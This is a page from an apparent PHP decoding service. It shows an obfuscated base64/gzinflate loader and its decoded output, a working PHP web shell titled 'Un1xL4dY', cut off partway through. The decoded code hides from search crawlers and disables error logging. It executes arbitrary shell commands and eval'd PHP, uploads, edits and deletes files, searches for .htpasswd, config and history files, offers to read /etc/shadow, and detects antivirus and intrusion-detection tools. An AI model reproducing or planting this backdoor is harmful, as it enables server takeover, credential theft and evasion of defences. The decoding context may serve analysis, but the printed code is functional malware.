Find this useful? Enter your email to receive occasional updates for securing PHP code.

Signing you up...

Thank you for signing up!

PHP Decode

<?php $D=strrev('edoced_46esab');$s=gzinflate($D('7X39d9s2sujvPaf/A83qBmIi0ZKcdLOSKdtNnE3e..

Decoded Output download

b'$color=" #F2A";
$default_action=\'FilesMan\';
$default_use_ajax=true;
$default_charset=\'Windows-1251\';

if(!empty($_SERVER[\'HTTP_USER_AGENT\'])){$userAgents=array("Google","Slurp","MSNBot","ia_archiver","Yandex","Rambler");if(preg_match(\'/\'.implode(\'|\',$userAgents).\'/i\',$_SERVER[\'HTTP_USER_AGENT\'])){header(\'HTTP/1.0 404 Not Found\');exit;}}

@session_start();@ini_set(\'error_log\',NULL);@ini_set(\'log_errors\',0);@ini_set(\'max_execution_time\',0);@set_time_limit(0);@set_magic_quotes_runtime(0);

if(get_magic_quotes_gpc()){function Xstripslashes($array){return is_array($array)?array_map(\'Xstripslashes\',$array):stripslashes($array);}$_POST=Xstripslashes($_POST);}

$os=\'nix\';if(strtolower(substr(PHP_OS,0,3))==\'win\')$os=\'win\';

$safe_mode=@ini_get(\'safe_mode\');if(!$safe_mode)error_reporting(0);

$disable_functions=@ini_get(\'disable_functions\');
$home_cwd=@getcwd();if(isset($_POST[\'c\']))@chdir($_POST[\'c\']);$cwd=@getcwd();if($os==\'win\'){$home_cwd=str_replace("\","/",$home_cwd);$cwd=str_replace("\","/",$cwd);}
if($cwd[strlen($cwd)-1]!=\'/\')$cwd.= \'/\';

if(!isset($_SESSION[md5($_SERVER[\'HTTP_HOST\']).\'ajax\']))$_SESSION[md5($_SERVER[\'HTTP_HOST\']).\'ajax\']=(bool)$GLOBALS[\'default_use_ajax\'];

if($os==\'win\')
$aliases=array(
"List Directory"=>"dir",
"Find index.php in current dir"=>"dir /s /w /b index.php",
"Find *config*.php in current dir"=>"dir /s /w /b *config*.php",
"Show active connections"=>"netstat -an",
"Show running services"=>"net start",
"User accounts"=>"net user",
"Show computers"=>"net view",
"ARP Table"=>"arp -a",
"IP Configuration"=>"ipconfig /all"
);
else
$aliases=array(
"List dir"=>"ls -lha",
"list file attributes on a Linux second extended file system"=>"lsattr -va",
"show opened ports"=>"netstat -an | grep -i listen",
"process status"=>"ps aux",
"Find"=>"",
"find all suid files"=>"find / -type f -perm -04000 -ls",
"find suid files in current dir"=>"find.-type f -perm -04000 -ls",
"find all sgid files"=>"find / -type f -perm -02000 -ls",
"find sgid files in current dir"=>"find.-type f -perm -02000 -ls",
"find config.inc.php files"=>"find / -type f -name config.inc.php",
"find config* files"=>"find / -type f -name \"config*\"",
"find config* files in current dir"=>"find.-type f -name \"config*\"",
"find all writable folders and files"=>"find / -perm -2 -ls",
"find all writable folders and files in current dir"=>"find.-perm -2 -ls",
"find all service.pwd files"=>"find / -type f -name service.pwd",
"find service.pwd files in current dir"=>"find.-type f -name service.pwd",
"find all .htpasswd files"=>"find / -type f -name .htpasswd",
"find .htpasswd files in current dir"=>"find.-type f -name .htpasswd",
"find all .bash_history files"=>"find / -type f -name .bash_history",
"find .bash_history files in current dir"=>"find.-type f -name .bash_history",
"find all .fetchmailrc files"=>"find / -type f -name .fetchmailrc",
"find .fetchmailrc files in current dir"=>"find.-type f -name .fetchmailrc",
"Locate"=>"",
"locate httpd.conf files"=>"locate httpd.conf",
"locate vhosts.conf files"=>"locate vhosts.conf",
"locate proftpd.conf files"=>"locate proftpd.conf",
"locate psybnc.conf files"=>"locate psybnc.conf",
"locate my.conf files"=>"locate my.conf",
"locate admin.php files" =>"locate admin.php",
"locate cfg.php files"=>"locate cfg.php",
"locate conf.php files"=>"locate conf.php",
"locate config.dat files"=>"locate config.dat",
"locate config.php files"=>"locate config.php",
"locate config.inc files"=>"locate config.inc",
"locate config.inc.php"=>"locate config.inc.php",
"locate config.default.php files"=>"locate config.default.php",
"locate config* files "=>"locate config",
"locate .conf files"=>"locate \'.conf\'",
"locate .pwd files"=>"locate \'.pwd\'",
"locate .sql files"=>"locate \'.sql\'",
"locate .htpasswd files"=>"locate \'.htpasswd\'",
"locate .bash_history files"=>"locate \'.bash_history\'",
"locate .mysql_history files"=>"locate \'.mysql_history\'",
"locate .fetchmailrc files"=>"locate \'.fetchmailrc\'",
"locate backup files"=>"locate backup",
"locate dump files"=>"locate dump",
"locate priv files"=>"locate priv"
);

function XHeader(){
if(empty($_POST[\'charset\']))
$_POST[\'charset\']=$GLOBALS[\'default_charset\'];
global $color;
echo "<html><head><meta http-equiv=\'Content-Type\' content=\'text/html; charset=$_POST[charset]\'><title>$_SERVER[HTTP_HOST] - Un1xL4dY</title>
<style>body{background-color:#000028;color:#e1e1e1}
body,td,th{border:1px outset black;font:9pt Lucida,Verdana;margin:0;vertical-align:top;color:#e1e1e1}
table.info{border-left:5px solid #F2A;color:#fff;background-color:#000028}
span,h1,a{color:#F2A !important}
span{font-weight:bolder}
h1{border-left:7px solid #F2A;padding:2px 5px;font:14pt Verdana;background-color:#000028;margin:0px}
div.content{padding:7px;margin-left:7px;background-color:#333}
a{text-decoration:none}
a:hover{text-decoration:underline}
.ml1{border:1px solid #444;padding:5px;margin:0;overflow:auto}
.bigarea{width:100%;height:250px}
input,textarea,select{margin:0;color:#fff;background-color:#555;border:1px solid #F2A; font:9pt Monospace,\'Courier New\'}
form{margin:0px}
#toolsTbl{text-align:center}
.toolsInp{width:300px}
.main th{text-align:left;background-color:#003300}
.main tr:hover{border:2px outset gray;;background-color:#5e5e5e}
.l1{background-color:#444}
.l2{background-color:#333}
pre{font-family:Courier,Monospace}
</style>
<script>
var c_=\'".htmlspecialchars($GLOBALS[\'cwd\'])."\';
var a_=\'".htmlspecialchars(@$_POST[\'a\']) ."\'
var charset_=\'".htmlspecialchars(@$_POST[\'charset\']) ."\';
var p1_=\'".((strpos(@$_POST[\'p1\'],"
")!==false)?\'\':htmlspecialchars($_POST[\'p1\'],ENT_QUOTES)) ."\';
var p2_=\'".((strpos(@$_POST[\'p2\'],"
")!==false)?\'\':htmlspecialchars($_POST[\'p2\'],ENT_QUOTES)) ."\';
var p3_=\'".((strpos(@$_POST[\'p3\'],"
")!==false)?\'\':htmlspecialchars($_POST[\'p3\'],ENT_QUOTES)) ."\';
var d=document;
function set(a,c,p1,p2,p3,charset){
if(a!=null)d.mf.a.value=a;else d.mf.a.value=a_;
if(c!=null)d.mf.c.value=c;else d.mf.c.value=c_;
if(p1!=null)d.mf.p1.value=p1;else d.mf.p1.value=p1_;
if(p2!=null)d.mf.p2.value=p2;else d.mf.p2.value=p2_;
if(p3!=null)d.mf.p3.value=p3;else d.mf.p3.value=p3_;
if(charset!=null)d.mf.charset.value=charset;else d.mf.charset.value=charset_;
}
function g(a,c,p1,p2,p3,charset){
set(a,c,p1,p2,p3,charset);
d.mf.submit();
}
function a(a,c,p1,p2,p3,charset){
set(a,c,p1,p2,p3,charset);
var params=\'ajax=true\';
for(i=0;i<d.mf.elements.length;i++)
params += \'&\'+d.mf.elements[i].name+\'=\'+encodeURIComponent(d.mf.elements[i].value);
sr(\'".addslashes($_SERVER[\'REQUEST_URI\']) ."\',params);
}
function sr(url,params){
if(window.XMLHttpRequest)
req=new XMLHttpRequest();
else if(window.ActiveXObject)
req=new ActiveXObject(\'Microsoft.XMLHTTP\');
if(req){
req.onreadystatechange=processReqChange;
req.open(\'POST\',url,true);
req.setRequestHeader (\'Content-Type\',\'application/x-www-form-urlencoded\');
req.send(params);
}
}
function processReqChange(){
if((req.readyState==4))
if(req.status==200){
var reg=new RegExp(\"(\\d+)([\\S\\s]*)\",\'m\');
var arr=reg.exec(req.responseText);
eval(arr[2].substr(0,arr[1]));
}else alert(\'Request error!\');
}
</script>
<head><body><div style=\'position:absolute;width:100%;background-color:#444;top:0;left:0;\'>
<form method=post name=mf style=\'display:none;\'>
<input type=hidden name=a>
<input type=hidden name=c>
<input type=hidden name=p1>
<input type=hidden name=p2>
<input type=hidden name=p3>
<input type=hidden name=charset>
</form>";
$freeSpace=@diskfreespace($GLOBALS[\'cwd\']);
$totalSpace=@disk_total_space($GLOBALS[\'cwd\']);
$totalSpace=$totalSpace?$totalSpace:1;
$release=@php_uname(\'r\');
$kernel=@php_uname(\'s\');
$explink=\'http://exploit-db.com/list.php?description=\';
if(strpos(\'Linux\',$kernel)!==false)
$explink .= urlencode(\'Linux Kernel \'.substr($release,0,6));
else
$explink .= urlencode($kernel.\' \'.substr($release,0,3));
if(!function_exists(\'posix_getegid\')){
$user=@get_current_user();
$uid=@getmyuid();
$gid=@getmygid();
$group="?";
}else {
$uid=@posix_getpwuid(posix_geteuid());
$gid=@posix_getgrgid(posix_getegid());
$user=$uid[\'name\'];
$uid=$uid[\'uid\'];
$group=$gid[\'name\'];
$gid=$gid[\'gid\'];
}

$cwd_links=\'\';
$path=explode("/",$GLOBALS[\'cwd\']);
$n=count($path);
for($i=0; $i<$n-1; $i++){
$cwd_links .= "<a href=\'#\' onclick=\'g(\"FilesMan\",\"";
for($j=0; $j<=$i; $j++)
$cwd_links .= $path[$j].\'/\';
$cwd_links .= "\")\'>".$path[$i]."/</a>";
}

$charsets=array(\'UTF-8\',\'Windows-1251\',\'KOI8-R\',\'KOI8-U\',\'cp866\');
$opt_charsets=\'\';
foreach($charsets as $item)
$opt_charsets .= \'<option value="\'.$item.\'" \'.($_POST[\'charset\']==$item?\'selected\':\'\').\'>\'.$item.\'</option>\';

$m=array(\'Sec. Info\'=>\'SecInfo\',\'Files\'=>\'FilesMan\',\'Console\'=>\'Console\',\'Sql\'=>\'Sql\',\'Php\'=>\'Php\',\'Safe mode\'=>\'SafeMode\');
if(!empty($GLOBALS[\'auth_pass\']))
$m[\'Logout\']=\'Logout\';
$m[\'Self remove\']=\'SelfRemove\';
$menu=\'\';
foreach($m as $k=>$v)
$menu .= \'<th width="\'.(int)(100/count($m)).\'%">[ <a href="#" onclick="g(\'\'.$v.\'\',null,\'\',\'\',\'\')">\'.$k.\'</a> ]</th>\';

$drives="";
if($GLOBALS[\'os\']==\'win\'){
foreach(range(\'c\',\'z\') as $drive)
if(is_dir($drive.\':\\'))
$drives .= \'<a href="#" onclick="g(\'FilesMan\',\'\'.$drive.\':/\')">[ \'.$drive.\' ]</a> \';
}
echo \'<table class=info cellpadding=3 cellspacing=0 width=100%><tr><td width=1><span>Uname:<br>User:<br>Php:<br>Hdd:<br>Cwd:\'.($GLOBALS[\'os\']==\'win\'?\'<br>Drives:\':\'\').\'</span></td>\'
.\'<td><nobr>\'.substr(@php_uname(),0,120).\' <a href="\'.$explink.\'" target=_blank>[exploit-db.com]</a></nobr><br>\'.$uid.\' (\'.$user.\') <span>Group:</span> \'.$gid.\' (\'.$group.\')<br>\'.@phpversion().\' <span>Safe mode:</span> \'.($GLOBALS[\'safe_mode\']?\'<font color=red>ON</font>\':\'<font color=#00bb00><b>OFF</b></font>\')
.\' <a href=# onclick="g(\'Php\',null,\'\',\'info\')">[ phpinfo ]</a> <span>Datetime:</span> \'.date(\'Y-m-d H:i:s\').\'<br>\'.XViewSize($totalSpace).\' <span>Free:</span> \'.XViewSize($freeSpace).\' (\'. (int) ($freeSpace/$totalSpace*100).\'%)<br>\'.$cwd_links.\' \'. XPermsColor($GLOBALS[\'cwd\']).\' <a href=# onclick="g(\'FilesMan\',\'\'.$GLOBALS[\'home_cwd\'].\'\',\'\',\'\',\'\')">[ home ]</a><br>\'.$drives.\'</td>\'
.\'<td width=1 align=right><nobr><select onchange="g(null,null,null,null,null,this.value)"><optgroup label="Page charset">\'.$opt_charsets.\'</optgroup></select><br><span>Server IP:</span><br>\'.@$_SERVER["SERVER_ADDR"].\'<br><span>Client IP:</span><br>\'.$_SERVER[\'REMOTE_ADDR\'].\'</nobr></td></tr></table>\'
.\'<table style="border-top:2px solid #333;" cellpadding=3 cellspacing=0 width=100%><tr>\'.$menu.\'</tr></table><div style="margin:5">\';
}

function XFooter(){
$is_writable=is_writable($GLOBALS[\'cwd\'])?" <font color=\'#25ff00\'>(Writeable)</font>":" <font color=red>(Not writable)</font>";
echo "
</div>
<table class=info id=toolsTbl cellpadding=3 cellspacing=0 width=100%style=\'border-top:2px solid #333;border-bottom:2px solid #333;\'>
<tr>
<td><form onsubmit=\'g(null,this.c.value,\"\");return false;\'><span>Change dir:</span><br><input class=\'toolsInp\' type=text name=c value=\'".htmlspecialchars($GLOBALS[\'cwd\']) ."\'><input type=submit value=\'>>\'></form></td>
<td><form onsubmit=\"g(\'FilesTools\',null,this.f.value);return false;\"><span>Read file:</span><br><input class=\'toolsInp\' type=text name=f><input type=submit value=\'>>\'></form></td>
</tr><tr>
<td><form onsubmit=\"g(\'FilesMan\',null,\'mkdir\',this.d.value);return false;\"><span>Make dir:</span>$is_writable<br><input class=\'toolsInp\' type=text name=d><input type=submit value=\'>>\'></form></td>
<td><form onsubmit=\"g(\'FilesTools\',null,this.f.value,\'mkfile\');return false;\"><span>Make file:</span>$is_writable<br><input class=\'toolsInp\' type=text name=f><input type=submit value=\'>>\'></form></td>
</tr><tr>
<td><form onsubmit=\"g(\'Console\',null,this.c.value);return false;\"><span>Execute:</span><br><input class=\'toolsInp\' type=text name=c value=\'\'><input type=submit value=\'>>\'></form></td>
<td><form method=\'post\' ENCTYPE=\'multipart/form-data\'>
<input type=hidden name=a value=\'FilesMAn\'>
<input type=hidden name=c value=\'".$GLOBALS[\'cwd\'] ."\'>
<input type=hidden name=p1 value=\'uploadFile\'>
<input type=hidden name=charset value=\'".(isset($_POST[\'charset\'])?$_POST[\'charset\']:\'\')."\'>
<span>Upload file:</span>$is_writable<br><input class=\'toolsInp\' type=file name=f><input type=submit value=\'>>\'></form><br></td>
</tr></table></div></body></html>";
}

if(!function_exists("posix_getpwuid")&&(strpos($GLOBALS[\'disable_functions\'],\'posix_getpwuid\')===false)){
function posix_getpwuid($p){return false;}}
if(!function_exists("posix_getgrgid")&&(strpos($GLOBALS[\'disable_functions\'],\'posix_getgrgid\')===false)){
function posix_getgrgid($p){return false;}}

function XEx($in){
$out=\'\';
if(function_exists(\'exec\')){
@exec($in,$out);
$out=@join("
",$out);
}elseif(function_exists(\'passthru\')){
ob_start();
@passthru($in);
$out=ob_get_clean();
}elseif(function_exists(\'system\')){
ob_start();
@system($in);
$out=ob_get_clean();
}elseif(function_exists(\'shell_exec\')){
$out=shell_exec($in);
}elseif(is_resource($f=@popen($in,"r"))){
$out="";
while(!@feof($f))
$out .= fread($f,1024);
pclose($f);
}
return $out;
}
function XViewSize($s){
if($s >= 1073741824)
return sprintf(\'%1.2f\',$s / 1073741824). \' GB\';
elseif($s >= 1048576)
return sprintf(\'%1.2f\',$s / 1048576).\' MB\';
elseif($s >= 1024)
return sprintf(\'%1.2f\',$s / 1024).\' KB\';
else
return $s.\' B\';
}

function XPerms($p){
if(($p & 0xC000)==0xC000)$i=\'s\';
elseif(($p & 0xA000)==0xA000)$i=\'l\';
elseif(($p & 0x8000)==0x8000)$i=\'-\';
elseif(($p & 0x6000)==0x6000)$i=\'b\';
elseif(($p & 0x4000)==0x4000)$i=\'d\';
elseif(($p & 0x2000)==0x2000)$i=\'c\';
elseif(($p & 0x1000)==0x1000)$i=\'p\';
else $i=\'u\';
$i .= (($p & 0x0100)?\'r\':\'-\');
$i .= (($p & 0x0080)?\'w\':\'-\');
$i .= (($p & 0x0040)?(($p & 0x0800)?\'s\':\'x\'):(($p & 0x0800)?\'S\':\'-\'));
$i .= (($p & 0x0020)?\'r\':\'-\');
$i .= (($p & 0x0010)?\'w\':\'-\');
$i .= (($p & 0x0008)?(($p & 0x0400)?\'s\':\'x\'):(($p & 0x0400)?\'S\':\'-\'));
$i .= (($p & 0x0004)?\'r\':\'-\');
$i .= (($p & 0x0002)?\'w\':\'-\');
$i .= (($p & 0x0001)?(($p & 0x0200)?\'t\':\'x\'):(($p & 0x0200)?\'T\':\'-\'));
return $i;
}

function XPermsColor($f){
if(!@is_readable($f))
return \'<font color=#FF0000>\'.XPerms(@fileperms($f)).\'</font>\';
elseif(!@is_writable($f))
return \'<font color=white>\'.XPerms(@fileperms($f)).\'</font>\';
else
return \'<font color=#25ff00>\'.XPerms(@fileperms($f)).\'</font>\';
}

if(!function_exists("scandir")){
function scandir($dir){
$dh= opendir($dir);
while (false!==($filename=readdir($dh)))
$files[]=$filename;
return $files;
}
}

function XWhich($p){
$path=XEx(\'which \'.$p);
if(!empty($path))
return $path;
return false;
}

function actionSecInfo(){
XHeader();
echo \'<h1>Server security information</h1><div class=content>\';
function XSecParam($n,$v){
$v=trim($v);
if($v){
echo \'<span>\'.$n.\': </span>\';
if(strpos($v,"
") === false)
echo $v.\'<br>\';
else
echo \'<pre class=ml1>\'.$v.\'</pre>\';
}
}

XSecParam(\'Server software\',@getenv(\'SERVER_SOFTWARE\'));
if(function_exists(\'apache_get_modules\'))
XSecParam(\'Loaded Apache modules\',implode(\',\',apache_get_modules()));
XSecParam(\'Disabled PHP Functions\',$GLOBALS[\'disable_functions\']?$GLOBALS[\'disable_functions\']:\'none\');
XSecParam(\'Open base dir\',@ini_get(\'open_basedir\'));
XSecParam(\'Safe mode exec dir\',@ini_get(\'safe_mode_exec_dir\'));
XSecParam(\'Safe mode include dir\',@ini_get(\'safe_mode_include_dir\'));
XSecParam(\'cURL support\',function_exists(\'curl_version\')?\'enabled\':\'no\');
$temp=array();
if(function_exists(\'mysql_get_client_info\'))
$temp[]="MySql (".mysql_get_client_info().")";
if(function_exists(\'mssql_connect\'))
$temp[]="MSSQL";
if(function_exists(\'pg_connect\'))
$temp[]="PostgreSQL";
if(function_exists(\'oci_connect\'))
$temp[]="Oracle";
XSecParam(\'Supported databases\',implode(\',\',$temp));
echo \'<br>\';

if($GLOBALS[\'os\']==\'nix\'){
XSecParam(\'Readable /etc/passwd\',@is_readable(\'/etc/passwd\')?"yes <a href=\'#\' onclick=\'g(\"FilesTools\",\"/etc/\",\"passwd\")\'>[view]</a>":\'no\');
XSecParam(\'Readable /etc/shadow\',@is_readable(\'/etc/shadow\')?"yes <a href=\'#\' onclick=\'g(\"FilesTools\",\"etc\",\"shadow\")\'>[view]</a>":\'no\');
XSecParam(\'OS version\',@file_get_contents(\'/proc/version\'));
XSecParam(\'Distr name\',@file_get_contents(\'/etc/issue.net\'));
if(!$GLOBALS[\'safe_mode\']){
$userful=array(\'gcc\',\'lcc\',\'cc\',\'ld\',\'make\',\'php\',\'perl\',\'python\',\'ruby\',\'tar\',\'gzip\',\'bzip\',\'bzip2\',\'nc\',\'locate\',\'suidperl\');
$danger=array(\'kav\',\'nod32\',\'bdcored\',\'uvscan\',\'sav\',\'drwebd\',\'clamd\',\'rkhunter\',\'chkrootkit\',\'iptables\',\'ipfw\',\'tripwire\',\'shieldcc\',\'portsentry\',\'snort\',\'ossec\',\'lidsadm\',\'tcplodg\',\'sxid\',\'logcheck\',\'logwatch\',\'sysmask\',\'zmbscap\',\'sawmill\',\'wormscan\',\'ninja\');
$downloaders=array(\'wget\',\'fetch\',\'lynx\',\'links\',\'curl\',\'get\',\'lwp-mirror\');
echo \'<br>\';
$temp=array();
foreach ($userful as $item)
if(XWhich($item))
$temp[]=$item;
XSecParam(\'Userful\',implode(\',\',$temp));
$temp=array();
foreach ($danger as $item)
if(XWhich($item))
$temp[]=$item;
XSecParam(\'Danger\',implode(\',\',$temp));
$temp=array();
foreach ($downloaders as $item) 
if(XWhich($item))
$temp[]=$item;
XSecParam(\'Downloaders\',implode(\',\',$temp));
echo \'<br/>\';
XSecParam(\'HDD space\',XEx(\'df -h\'));
XSecParam(\'Hosts\',@file_get_contents(\'/etc/hosts\'));
}
}else {
XSecParam(\'OS Version\',XEx(\'ver\'));
XSecParam(\'Account Settings\',XEx(\'net accounts\'));
XSecParam(\'User Accounts\',XEx(\'net user\'));
}
echo \'</div>\';
XFooter();
}

function actionPhp(){
if(isset($_POST[\'ajax\'])){
$_SESSION[md5($_SERVER[\'HTTP_HOST\']).\'ajax\']=true;
ob_start();
eval($_POST[\'p1\']);
$temp="document.getElementById(\'PhpOutput\').style.display=\'\';document.getElementById(\'PhpOutput\').innerHTML=\'".addcslashes(htmlspecialchars(ob_get_clean()),"

	\\'")."\';
";
echo strlen($temp),"
",$temp;
exit; 
}
XHeader();
if(isset($_POST[\'p2\'])&&($_POST[\'p2\']==\'info\')){
echo \'<h1>PHP info</h1><div class=content><style>.p {color:#000;}</style>\';
ob_start();
phpinfo();
$tmp=ob_get_clean();
$tmp=preg_replace(\'!(body|a:\w+|body,td,th,h1,h2){.*}!msiU\',\'\',$tmp);
$tmp=preg_replace(\'!td,th {(.*)}!msiU\',\'.e,.v,.h,.h th {$1}\',$tmp);
echo str_replace(\'<h1\',\'<h2\',$tmp) .\'</div><br>\';
}
if(empty($_POST[\'ajax\'])&&!empty($_POST[\'p1\']))
$_SESSION[md5($_SERVER[\'HTTP_HOST\']).\'ajax\']=false;
echo \'<h1>Execution PHP-code</h1><div class=content><form name=pf method=post onsubmit="if(this.ajax.checked){a(\'Php\',null,this.code.value);}else{g(\'Php\',null,this.code.value,\'\');}return false;"><textarea name=code class=bigarea id=PhpCode>\'.(!empty($_POST[\'p1\'])?htmlspecialchars($_POST[\'p1\']):\'\').\'</textarea><input type=submit value=Eval style="margin-top:5px">\';
echo \' <input type=checkbox name=ajax value=1 \'.($_SESSION[md5($_SERVER[\'HTTP_HOST\']).\'ajax\']?\'checked\':\'\').\'> send using AJAX</form><pre id=PhpOutput style="\'.(empty($_POST[\'p1\'])?\'display:none;\':\'\').\'margin-top:5px;" class=ml1>\';
if(!empty($_POST[\'p1\'])){
ob_start();
eval($_POST[\'p1\']);
echo htmlspecialchars(ob_get_clean());
}
echo \'</pre></div>\';
XFooter();
}

function actionFilesMan(){
XHeader();
echo \'<h1>File manager</h1><div class=content><script>p1_=p2_=p3_="";</script>\';
if(!empty($_POST[\'p1\'])){
switch($_POST[\'p1\']){
case \'uploadFile\':
if(!@move_uploaded_file($_FILES[\'f\'][\'tmp_name\'],$_FILES[\'f\'][\'name\']))
echo "Can\'t upload file!";
break;
case \'mkdir\':
if(!@mkdir($_POST[\'p2\']))
echo "Can\'t create new dir";
break;
case \'delete\':
function deleteDir($path){
$path=(substr($path,-1)==\'/\')?$path:$path.\'/\';
$dh= opendir($path);
while (($item=readdir($dh))!==false){
$item=$path.$item;
if((basename($item)=="..")||(basename($item)=="."))
continue;
$type=filetype($item);
if($type=="dir")
deleteDir($item);
else
@unlink($item);
}
closedir($dh);
@rmdir($path);
}
if(is_array(@$_POST[\'f\']))
foreach($_POST[\'f\'] as $f){
if($f==\'..\')
continue;
$f=urldecode($f);
if(is_dir($f))
deleteDir($f);
else
@unlink($f);
}
break;
case \'paste\':
if($_SESSION[\'act\']==\'copy\'){
function copy_paste($c,$s,$d){
if(is_dir($c.$s)){
mkdir($d.$s);
$h=@opendir($c.$s);
while (($f=@readdir($h))!==false)
if(($f!=".") and ($f!=".."))
copy_paste($c.$s.\'/\',$f,$d.$s.\'/\');
}elseif(is_file($c.$s))
@copy($c.$s,$d.$s);
}
foreach($_SESSION[\'f\'] as $f)
copy_paste($_SESSION[\'c\'],$f,$GLOBALS[\'cwd\']);
}elseif($_SESSION[\'act\']==\'move\'){
function move_paste($c,$s,$d){
if(is_dir($c.$s)){
mkdir($d.$s);
$h=@opendir($c.$s);
while (($f=@readdir($h))!==false)
if(($f!=".") and ($f!=".."))
copy_paste($c.$s.\'/\',$f,$d.$s.\'/\');
}elseif(@is_file($c.$s))
@copy($c.$s,$d.$s);
}
foreach($_SESSION[\'f\'] as $f)
@rename($_SESSION[\'c\'].$f,$GLOBALS[\'cwd\'].$f);
}elseif($_SESSION[\'act\']==\'zip\'){
if(class_exists(\'ZipArchive\')){
$zip=new ZipArchive();
if($zip->open($_POST[\'p2\'],1)){
chdir($_SESSION[\'c\']);
foreach($_SESSION[\'f\'] as $f){
if($f==\'..\')
continue;
if(@is_file($_SESSION[\'c\'].$f))
$zip->addFile($_SESSION[\'c\'].$f,$f);
elseif(@is_dir($_SESSION[\'c\'].$f)){
$iterator=new RecursiveIteratorIterator(new RecursiveDirectoryIterator($f.\'/\'));
foreach ($iterator as $key=>$value){
$zip->addFile(realpath($key),$key);
}
}
}
chdir($GLOBALS[\'cwd\']);
$zip->close();
}
}
}elseif($_SESSION[\'act\']==\'unzip\'){
if(class_exists(\'ZipArchive\')){
$zip=new ZipArchive();
foreach($_SESSION[\'f\'] as $f){
if($zip->open($_SESSION[\'c\'].$f)){
$zip->extractTo($GLOBALS[\'cwd\']);
$zip->close();
}
}
}
}elseif($_SESSION[\'act\']==\'tar\'){
chdir($_SESSION[\'c\']);
$_SESSION[\'f\']=array_map(\'escapeshellarg\',$_SESSION[\'f\']);
XEx(\'tar cfzv \'.escapeshellarg($_POST[\'p2\']).\' \'.implode(\' \',$_SESSION[\'f\']));
chdir($GLOBALS[\'cwd\']);
}
unset($_SESSION[\'f\']);
break;
default:
if(!empty($_POST[\'p1\'])){
$_SESSION[\'act\']=@$_POST[\'p1\'];
$_SESSION[\'f\']=@$_POST[\'f\'];
foreach($_SESSION[\'f\'] as $k=>$f)
$_SESSION[\'f\'][$k]=urldecode($f);
$_SESSION[\'c\']=@$_POST[\'c\'];
}
break;
}
}
$dirContent=@scandir(isset($_POST[\'c\'])?$_POST[\'c\']:$GLOBALS[\'cwd\']);
if($dirContent === false){echo \'Can\'t open this folder!\';XFooter(); return; }
global $sort;
$sort=array(\'name\',1);
if(!empty($_POST[\'p1\'])){
if(preg_match(\'!s_([A-z]+)_(\d{1})!\',$_POST[\'p1\'],$match))
$sort=array($match[1],(int)$match[2]);
}
echo "<script>
function sa(){
for(i=0;i<d.files.elements.length;i++)
if(d.files.elements[i].type==\'checkbox\')
d.files.elements[i].checked=d.files.elements[0].checked;
}
</script>
<table width=\'100%\' class=\'main\' cellspacing=\'0\' cellpadding=\'2\'>
<form name=files method=post><tr><th width=\'13px\'><input type=checkbox onclick=\'sa()\' class=chkbx></th><th><a href=\'#\' onclick=\'g(\"FilesMan\",null,\"s_name_".($sort[1]?0:1)."\")\'>Name</a></th><th><a href=\'#\' onclick=\'g(\"FilesMan\",null,\"s_size_".($sort[1]?0:1)."\")\'>Size</a></th><th><a href=\'#\' onclick=\'g(\"FilesMan\",null,\"s_modify_".($sort[1]?0:1)."\")\'>Modify</a></th><th>Owner/Group</th><th><a href=\'#\' onclick=\'g(\"FilesMan\",null,\"s_perms_".($sort[1]?0:1)."\")\'>Permissions</a></th><th>Actions</th></tr>";
$dirs=$files=array();
$n=count($dirContent);
for($i=0;$i<$n;$i++){
$ow=@posix_getpwuid(@fileowner($dirContent[$i]));
$gr=@posix_getgrgid(@filegroup($dirContent[$i]));
$tmp=array(\'name\'=>$dirContent[$i],
 \'path\'=>$GLOBALS[\'cwd\'].$dirContent[$i],
 \'modify\'=>date(\'Y-m-d H:i:s\',@filemtime($GLOBALS[\'cwd\'].$dirContent[$i])),
 \'perms\'=>XPermsColor($GLOBALS[\'cwd\'].$dirContent[$i]),
 \'size\'=>@filesize($GLOBALS[\'cwd\'].$dirContent[$i]),
 \'owner\'=>$ow[\'name\']?$ow[\'name\']:@fileowner($dirContent[$i]),
 \'group\'=>$gr[\'name\']?$gr[\'name\']:@filegroup($dirContent[$i])
);
if(@is_file($GLOBALS[\'cwd\'].$dirContent[$i]))
$files[]=array_merge($tmp,array(\'type\'=>\'file\'));
elseif(@is_link($GLOBALS[\'cwd\'].$dirContent[$i]))
$dirs[]=array_merge($tmp,array(\'type\'=>\'link\',\'link\'=>readlink($tmp[\'path\'])));
elseif(@is_dir($GLOBALS[\'cwd\'].$dirContent[$i])&& ($dirContent[$i]!="."))
$dirs[]=array_merge($tmp,array(\'type\'=>\'dir\'));
}
$GLOBALS[\'sort\']=$sort;
function XCmp($a,$b){
if($GLOBALS[\'sort\'][0]!=\'size\')
return strcmp(strtolower($a[$GLOBALS[\'sort\'][0]]),strtolower($b[$GLOBALS[\'sort\'][0]]))*($GLOBALS[\'sort\'][1]?1:-1);
else
return (($a[\'size\'] < $b[\'size\'])?-1:1)*($GLOBALS[\'sort\'][1]?1:-1);
}
usort($files,"XCmp");
usort($dirs,"XCmp");
$files=array_merge($dirs,$files);
$l=0;
foreach($files as $f){
echo \'<tr\'.($l?\' class=l1\':\'\').\'><td><input type=checkbox name="f[]" value="\'.urlencode($f[\'name\']).\'" class=chkbx></td><td><a href=# onclick="\'.(($f[\'type\']==\'file\')?\'g(\'FilesTools\',null,\'\'.urlencode($f[\'name\']).\'\',\'view\')">\'.htmlspecialchars($f[\'name\']):\'g(\'FilesMan\',\'\'.$f[\'path\'].\'\');" title=\'.$f[\'link\'].\'><b>[ \'.htmlspecialchars($f[\'name\']).\' ]</b>\').\'</a></td><td>\'.(($f[\'type\']==\'file\')?XViewSize($f[\'size\']):$f[\'type\']).\'</td><td>\'.$f[\'modify\'].\'</td><td>\'.$f[\'owner\'].\'/\'.$f[\'group\'].\'</td><td><a href=# onclick="g(\'FilesTools\',null,\'\'.urlencode($f[\'name\']).\'\',\'chmod\')">\'.$f[\'perms\']
.\'</td><td><a href="#" onclick="g(\'FilesTools\',null,\'\'.urlencode($f[\'name\']).\'\',\'rename\')">R</a> <a href="#" onclick="g(\'FilesTools\',null,\'\'.urlencode($f[\'name\']).\'\',\'touch\')">T</a>\'.(($f[\'type\']==\'file\')?\' <a href="#" onclick="g(\'FilesTools\',null,\'\'.urlencode($f[\'name\']).\'\',\'edit\')">E</a> <a href="#" onclick="g(\'FilesTools\',null,\'\'.urlencode($f[\'name\']).\'\',\'download\')">D</a>\':\'\').\'</td></tr>\';
$l=$l?0:1;
}
echo "<tr><td colspan=7>
<input type=hidden name=a value=\'FilesMan\'>
